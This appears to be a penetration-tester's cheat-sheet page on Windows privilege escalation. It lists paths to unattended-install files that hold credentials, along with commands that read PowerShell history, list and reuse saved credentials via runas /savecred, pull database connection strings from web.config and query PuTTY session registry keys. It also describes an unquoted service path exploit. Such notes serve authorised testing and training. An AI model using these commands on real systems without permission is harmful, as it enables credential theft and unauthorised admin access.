search

Privilege Escalation

hashtag
Windows Privilege Escalation methods

hashtag
Harvest credentials from unattended intallation

  • C:\Unattend.xml

  • C:\Windows\Panther\Unattend.xml

  • C:\Windows\Panther\Unattend\Unattend.xml

  • C:\Windows\system32\sysprep.inf

  • C:\Windows\system32\sysprep\sysprep.xml

hashtag
Check Powershell History

cmd.exe %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

hashtag
Saved Windows Credentials

List credentials the user account has access to
cmdkey /list
Used saved credentials and run cmd as other user
runas /savecred /user:admin cmd.exe

hashtag
Database credentials from IIS settings

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

hashtag
Putty Credentials

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Scheduled Tasks

hashtag
Manipulate binary or task to have it run as privileged user

Windows Services

Services stored in HKLM\SYSTEM\CurrentControlSet\Services\

Unquoted binary path exploitation Example: BINARY_PATH_NAME: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

  • If we add a C:\MyPrograms\Disk.exe binary, it will be started as a service

Linux SUID Info: https://gtfobins.github.io/gtfobins/python/#suid

hashtag
Tools

Previoussmbmap remote executionNextAttacking Azure AD

Last updated